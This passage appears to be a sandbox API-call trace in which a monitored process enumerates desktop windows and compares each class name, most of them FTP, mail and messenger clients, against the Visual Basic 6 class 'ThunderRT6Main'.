returned 19 [0175.657] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0175.657] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0175.657] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0175.657] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.657] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.657] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0175.657] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0175.657] GetClassNameA (in: hWnd=0x10218, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0175.657] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0175.657] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0175.657] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0175.657] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.657] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.657] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0175.657] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0175.657] GetClassNameA (in: hWnd=0x10214, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0175.658] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0175.658] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0175.658] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0175.658] GetClassNameA (in: hWnd=0x10216, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.658] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.658] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0175.658] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0175.658] GetClassNameA (in: hWnd=0x10210, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0175.658] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0175.658] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0175.658] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0175.658] GetClassNameA (in: hWnd=0x10212, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.658] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.658] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0175.658] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0175.658] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0175.658] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0175.658] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0175.658] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0175.658] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.658] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.658] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0175.658] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0175.658] GetClassNameA (in: hWnd=0x10208, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0175.658] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0175.658] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0175.658] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0175.658] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.658] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.658] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0175.658] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0175.658] GetClassNameA (in: hWnd=0x10204, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0175.659] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0175.659] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0175.659] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0175.659] GetClassNameA (in: hWnd=0x10206, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.659] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.659] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0175.659] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0175.659] GetClassNameA (in: hWnd=0x10200, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0175.659] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0175.659] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0175.659] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0175.659] GetClassNameA (in: hWnd=0x10202, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.659] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.659] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0175.659] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0175.659] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0175.659] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0175.659] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0175.659] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0175.659] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.659] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.659] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0175.659] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0175.659] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0175.659] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0175.659] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0175.659] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0175.659] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.659] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.659] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0175.659] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0175.659] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0175.660] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0175.660] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0175.660] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0175.660] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.660] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.660] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0175.660] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0175.660] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0175.660] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0175.660] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0175.660] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0175.660] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.660] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.660] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0175.660] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0175.660] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0175.660] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0175.660] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0175.660] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0175.660] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.660] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.660] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0175.660] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0175.660] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0175.660] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0175.660] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0175.660] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0175.660] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.660] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.660] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0175.660] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0175.661] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0175.661] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0175.661] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0175.661] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0175.661] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.661] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.661] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0175.661] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0175.661] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0175.661] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0175.661] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0175.661] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0175.661] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.661] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.661] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0175.661] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0175.661] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0175.661] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0175.661] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0175.661] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0175.661] GetClassNameA (in: hWnd=0x101de, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.661] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.661] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0175.661] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0175.661] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0175.661] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0175.661] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0175.661] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0175.661] GetClassNameA (in: hWnd=0x101da, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.661] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.661] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0175.661] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0175.661] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0175.662] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0175.662] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0175.662] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0175.662] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.662] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.662] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0175.662] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0175.662] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0175.662] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0175.729] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0175.729] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0175.729] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.729] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.729] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0175.729] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0175.729] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0175.729] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0175.729] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0175.729] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0175.729] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.729] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.729] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0175.729] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0175.729] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0175.729] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0175.729] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0175.729] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0175.729] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.729] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.729] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0175.729] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0175.729] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0175.730] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0175.730] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0175.730] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0175.730] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.730] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.730] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0175.730] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0175.730] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0175.730] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0175.730] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0175.730] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0175.730] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.730] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.730] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0175.730] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0175.730] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0175.730] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0175.730] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0175.730] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0175.730] GetClassNameA (in: hWnd=0x101be, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.730] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.730] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0175.730] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0175.730] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0175.730] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0175.730] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0175.730] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0175.730] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.730] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.730] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0175.730] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0175.731] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0175.731] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0175.731] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0175.731] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0175.731] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.731] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.731] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0175.731] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0175.731] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0175.731] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0175.731] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0175.731] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0175.731] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.731] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.731] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0175.731] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0175.731] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0175.731] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0175.731] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0175.731] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0175.731] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.731] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.731] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0175.731] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0175.731] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0175.731] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0175.731] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0175.731] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0175.731] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.731] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.731] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0175.732] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0175.732] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0175.732] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0175.732] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0175.732] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0175.732] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.732] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.732] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0175.732] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0175.732] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0175.732] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0175.732] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0175.732] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0175.732] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.732] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.732] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0175.732] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0175.732] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0175.732] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0175.732] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0175.732] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0175.732] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.732] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.732] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0175.732] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0175.732] GetClassNameA (in: hWnd=0x10198, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0175.732] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0175.732] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0175.732] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0175.732] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.732] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.732] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 